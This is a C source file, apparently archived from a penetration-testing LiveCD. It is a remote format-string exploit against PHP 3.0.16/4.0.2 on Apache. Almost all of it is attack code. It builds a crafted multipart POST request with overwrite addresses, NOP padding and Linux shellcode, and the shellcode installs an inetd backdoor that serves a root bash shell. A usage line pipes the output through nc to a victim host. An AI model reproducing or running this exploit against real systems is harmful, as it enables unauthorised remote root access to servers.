home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / interpreter / php / phpexp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  9KB  |  312 lines

  1. /* 
  2.  * PHP 3.0.16/4.0.2 remote format overflow exploit.
  3.  * Copyright (c) 2000 
  4.  * Field Marshal Count August Anton Wilhelm Neithardt von Gneisenau
  5.  * gneisenau@berlin.com
  6.  * my regards to sheib and darkx
  7.  * All rights reserved
  8.  * Pascal Boucheraine's paper was enlightening
  9.  * THERE IS NO IMPLIED OR EXPRESS WARRANTY FOR THIS CODE. 
  10.  * YOU ARE RESPONSIBLE FOR YOUR OWN ACTIONS AND I CANNOT BE HELD RESPONSIBLE
  11.  * FOR THE CONSEQUENCES
  12.  * Usage:
  13.  * phpxpl -sx -uwww.victim.com/some.php3 | nc www.victim.com 80
  14.  */
  15.  
  16.  
  17. /*
  18.  * We just printf the shellcode and stuff and nc it to the target
  19.  */
  20. #include <sys/types.h>
  21. #include <unistd.h>
  22. #include <stdio.h>
  23. #include <stdlib.h>
  24. #include <string.h>
  25.  
  26. // this exploit does not like 0x0a = '\n' in the shellcode. also the NULL at
  27. // the end of the shellcode will be removed as the shellcode is probably
  28. // strcatted into the buffer. so do it again in the shellcode. 
  29. /*
  30.  * This shellcode is for Linux/x86. 
  31.  * This shellcode spawns a shell and runs the command
  32.  * echo 'ingreslock stream tcp nowait root /bin/bash bash -i'>/tmp/.inetd.conf; /usr/sbin/inetd /tmp/.inetd.conf
  33.  */
  34. char shellcode[] = {
  35. 0xeb,0x41,                        
  36. 0x5e,                            
  37. 0x31,0xc0,                        
  38. 0x31,0xdb,                        
  39. 0xb0,0xa0,                        
  40. 0x89,0x34,0x06,                
  41. 0x8d,0x4e,0x07,                
  42. 0x88,0x19,                        
  43. 0x41,                                
  44. 0x41,                                
  45. 0xb0,0xa4,                        
  46. 0x89,0x0c,0x06,                
  47. 0x8d,0x4e,0x0b,                
  48. 0x88,0x19,                    
  49. 0x41,                                
  50. 0xb0,0xa8,                        
  51. 0x89,0x0c,0x06,            
  52. 0x8d,0x4e,0x7f,                
  53. 0x88,0x19,                        
  54. 0x31,0xd2,                        
  55. 0xb0,0xac,                        
  56. 0x89,0x14,0x06,                
  57. 0x89,0xf3,                        
  58. 0x89,0xf1,                        
  59. 0xb0,0xa0,                    
  60. 0x01,0xc1,                        
  61. 0xb0,0x0b,                        
  62. 0xcd,0x80,                        
  63. 0x31,0xc0,                    
  64. 0xb0,0x01,                    
  65. 0x31,0xdb,                        
  66. 0xcd,0x80,                        
  67. 0xe8,0xba,0xff,0xff,0xff,  
  68. 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0xff,0xff, /* the string "/bin/sh" */ 
  69. 0x2d,0x63,0xff,                /* the string "-c" */
  70. 0x2f,0x62,0x69,0x6e,0x2f,0x65,0x63,0x68,0x6f,0x20,0x27,0x69,
  71. 0x6e,0x67,0x72,0x65,0x73,0x6c,0x6f,0x63,0x6b,0x20,0x73,0x74,
  72. 0x72,0x65,0x61,0x6d,0x20,0x74,0x63,0x70,0x20,0x6e,0x6f,0x77,
  73. 0x61,0x69,0x74,0x20,0x72,0x6f,0x6f,0x74,0x20,0x2f,0x62,0x69,
  74. 0x6e,0x2f,0x62,0x61,0x73,0x68,0x20,0x62,0x61,0x73,0x68,0x20,
  75. 0x20,0x2d,0x69,0x27,0x3e,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,
  76. 0x6e,0x65,0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x3b,0x20,0x2f,
  77. 0x75,0x73,0x72,0x2f,0x73,0x62,0x69,0x6e,0x2f,0x69,0x6e,0x65,
  78. 0x74,0x64,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,0x6e,0x65,
  79. 0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x00,
  80. };
  81.  
  82. #define NOP 0x90
  83.  
  84.  
  85. /*
  86.  * the PHP3 error buffer will already contain PHP 3 Warning: The Content-Type
  87.  * string was "multipart/form-data. This is 66 bytes long. we send 2 spaces
  88.  * for padding the addresses we embed in our attack buffer on word boundary
  89.  */
  90. #define PHP3_WARNING 68
  91. #define BUF_LEN 1024
  92.  
  93. struct system_type {
  94.     char *name;
  95.     unsigned int nop;
  96.     char *shellcode;
  97.     int    shellcode_len;
  98.     int    offset;            /* the number of pops we need to get to our own data*/
  99.     int    already_written;    /* number of bytes written by printf by the time we reach the our embedded data */
  100.     unsigned int    eip_address; /* address where shellcode_address must be put */
  101.     unsigned int    shellcode_address; /* address of shellcode in memory */
  102. };
  103.  
  104. struct system_type systems[] = {
  105.         {
  106.             "Slackware Linux 7.0 - i386/Apache 1.3.12/PHP 3.0.16 (static module)",
  107.             0x90,
  108.             shellcode,
  109.             270,    /* not exact but we got lots of space ;) */
  110.             27,
  111.             0x152,
  112.             0xbfff9c30,
  113.             0xbfff962c,
  114.         },
  115.         // somebody find these and fill it in please. should be 
  116.         // straightforward.
  117.         {
  118.             "Red Hat 6.0 - i386/Apache 1.3.13/PHP 3.0.16 (static module)",
  119.             (unsigned int)NULL,
  120.             NULL,
  121.             (int)NULL,
  122.             (int)NULL,
  123.             (int)NULL,
  124.             (unsigned int)NULL,
  125.             (unsigned int)NULL,
  126.         },
  127.         {
  128.             NULL,
  129.             (unsigned int)NULL,
  130.             NULL,
  131.             (int)NULL,
  132.             (int)NULL,
  133.             (int)NULL,
  134.             (unsigned int)NULL,
  135.             (unsigned int)NULL,
  136.         },
  137. };
  138.  
  139. void     usage (void);
  140. void     parse_url (char *, char *);
  141. void     prepare_attack_buffer (char *, struct system_type *, char *);
  142. int    calculate_precision (unsigned int, int);
  143.  
  144. int
  145. main (int argc, char *argv[])
  146. {
  147.     char     attack_buffer[2000];    // we construct the shellcode and stuff here
  148.                                         // the target is 1024 bytes long
  149.     struct system_type *sysptr;
  150.     char  *url;                 // i hope these things dont get bigger than this
  151.     char  target[2048];            // target will contain only the FQDN
  152.     unsigned int eip_address = 0, shellcode_address = 0;
  153.     int    ctr = 0;
  154.     int    nop_count;
  155.     char  *walk;
  156.     int    arg;                             
  157.  
  158.     // at least expect a system type and url from the command line
  159.     if (argc < 3)
  160.         usage ();
  161.  
  162.     // parse arguments
  163.     while ((arg = getopt (argc, argv, "s:u:e:h:")) != -1){
  164.         switch (arg){
  165.             case 'h':
  166.                         sscanf (optarg, "%x", &shellcode_address);
  167.                         break;
  168.             case 'e':
  169.                         sscanf (optarg, "%x", &eip_address);
  170.                         break;
  171.             case 's':    
  172.                         sysptr = &systems[atoi (optarg)];
  173.                         break;
  174.             case 'u':
  175.                         url = optarg;
  176.                         parse_url (url, target);
  177.                         break;
  178.             case '?':
  179.             default :    
  180.                         usage ();
  181.         }
  182.     }
  183.  
  184.     if (eip_address)
  185.         sysptr->eip_address = eip_address;
  186.     if (shellcode_address)
  187.         sysptr->shellcode_address = shellcode_address;
  188.     prepare_attack_buffer (attack_buffer, sysptr, url);
  189.  
  190.     // as of now write it out to stdout. later write it to a socket
  191.     write (STDOUT_FILENO, attack_buffer, sizeof (attack_buffer));
  192. }
  193.  
  194. void
  195. prepare_attack_buffer (char *attack_buffer, struct system_type *system, 
  196.                                 char *url)
  197. {
  198.     int    dest_buffer_written;        /* we keep track of how much bytes will be written in the destination buffer */
  199.     int     ctr;
  200.     char    *address;
  201.     char    buf[25];                        // temp buffer for %xd%n%xd%n%xd%n%xd%n
  202.                                             // where x is precision
  203.     int     p1,p2,p3,p4;
  204.     int    nop_count;
  205.  
  206.     bzero (attack_buffer, 2000);
  207.     sprintf (attack_buffer, "POST http://%s HTTP/1.0\nConnection: close\nUser-Agent: tirpitz\nContent-Type: multipart/form-data   ", url);
  208.     // mark strlen here. whatever we write after here appears in the buffer
  209.     dest_buffer_written = strlen (attack_buffer);
  210.  
  211.     strcat (attack_buffer, "\x11\x11\x11\x11");
  212.     address = (char *)&system->eip_address;
  213.     strncat (attack_buffer, address, 4);
  214.     strcat (attack_buffer, "\x11\x11\x11\x11");
  215.     system->eip_address++;
  216.     address = (char *)&system->eip_address;
  217.     strncat (attack_buffer, address, 4);
  218.     strcat (attack_buffer, "\x11\x11\x11\x11");
  219.     system->eip_address++;
  220.     address = (char *)&system->eip_address;
  221.     strncat (attack_buffer, address, 4);
  222.     strcat (attack_buffer, "\x11\x11\x11\x11");
  223.     system->eip_address++;
  224.     address = (char *)&system->eip_address;
  225.     strncat (attack_buffer, address, 4);
  226.  
  227.     /*
  228.      * we need to add %x corresponding to the number of pops we need to reach
  229.      * our embedded addresses we defined above
  230.      */
  231.     for (; system->offset; system->offset--)
  232.         strcat (attack_buffer, "%x ");
  233.  
  234.     p1 = calculate_precision ((system->shellcode_address & 0x000000ff), system->already_written);
  235.     p2 = calculate_precision ((system->shellcode_address & 0x0000ff00) >> 8, system->already_written);
  236.     p3 = calculate_precision ((system->shellcode_address & 0x00ff0000) >> 16, system->already_written);
  237.     p4 = calculate_precision ((system->shellcode_address & 0xff000000) >> 24, system->already_written);
  238.     sprintf (buf, "%%%dd%%n%%%dd%%n%%%dd%%n%%%dd%%n", p1, p2, p3, p4);
  239.     strcat (attack_buffer, buf);
  240.  
  241.     ctr = strlen (attack_buffer); 
  242.     dest_buffer_written = ctr - dest_buffer_written;
  243.     dest_buffer_written += PHP3_WARNING; // dest_buffer_written now contains the number of bytes the PHP_WARNING and then the 8 4 byte values and then the %x to pop off the stack
  244.     attack_buffer += ctr;
  245.     nop_count = BUF_LEN - dest_buffer_written - system->shellcode_len;
  246.     memset (attack_buffer, NOP, nop_count);
  247.     /*
  248.      * Add our shellcode at last
  249.      */
  250.     attack_buffer += nop_count;
  251.     strcat (attack_buffer, shellcode);
  252.     strcat (attack_buffer, "\n");
  253.     strcat (attack_buffer, "Content-Length: 1337\n\n");
  254. }
  255.  
  256. void
  257. usage (void)
  258. {
  259.     int     ctr;
  260.  
  261.     fprintf (stderr, "                                 Apache/PHP xploit\n");
  262.     fprintf (stderr, "        Field Marshal Count August Anton Wilhelm Neithardt von Gneisenau\n");
  263.     fprintf (stderr, "                                 for the r00tcrew\n");
  264.     fprintf (stderr, "                                All rights reserved\n");
  265.     fprintf (stderr, "\nUsage:\n");
  266.     fprintf (stderr, "phpxpl -u url -s systype [ -e eip address ] [ -h shellcode address ]\n\n"); 
  267.     fprintf (stderr, "url: the complete url including FQDN and script on the server\n");
  268.     fprintf (stderr, "      www.victim.com/info.php3\n");
  269.     fprintf (stderr, "available systypes:\n");
  270.  
  271.     for (ctr = 0; systems[ctr].name; ctr++)
  272.         fprintf (stderr, "%d. %s\n", ctr, systems[ctr].name);
  273.     fprintf (stderr, "eip address: the address which the xploit overwrites with buffer address (specify thus 0xbfff9c30) \n");
  274.     fprintf (stderr, "shellcode address: the address which points to the NOPs (specify thus 0xbfff962c)\n");
  275.     fprintf (stderr, "\n");
  276.     exit (1);
  277. }
  278.  
  279. void
  280. parse_url (char *url, char *target)
  281. {
  282.     char *ptr;
  283.  
  284.     strcpy (target, url);
  285.     if (!(ptr = index (target, '/'))){
  286.         fprintf (stderr, "invalid url. specify the script name on the target server too\n");
  287.         exit (1);
  288.     }
  289.     *ptr = '\0';
  290. }
  291.  
  292. /*
  293.  * addr_byte contains the byte we need to write out. for example: 2c in
  294.  * 0xbfff962c, then 96, ff and bf. 
  295.  */
  296. int
  297. calculate_precision (unsigned int addr_byte, int already_written_init)
  298. {
  299.     static int already_written = 0;
  300.     int    tmp;
  301.  
  302.     if (!already_written)
  303.         already_written = already_written_init;
  304.  
  305.     while (addr_byte < already_written)
  306.         addr_byte += 0x100;
  307.  
  308.     tmp = addr_byte - already_written;
  309.     already_written = addr_byte;
  310.     return tmp;
  311. }
  312.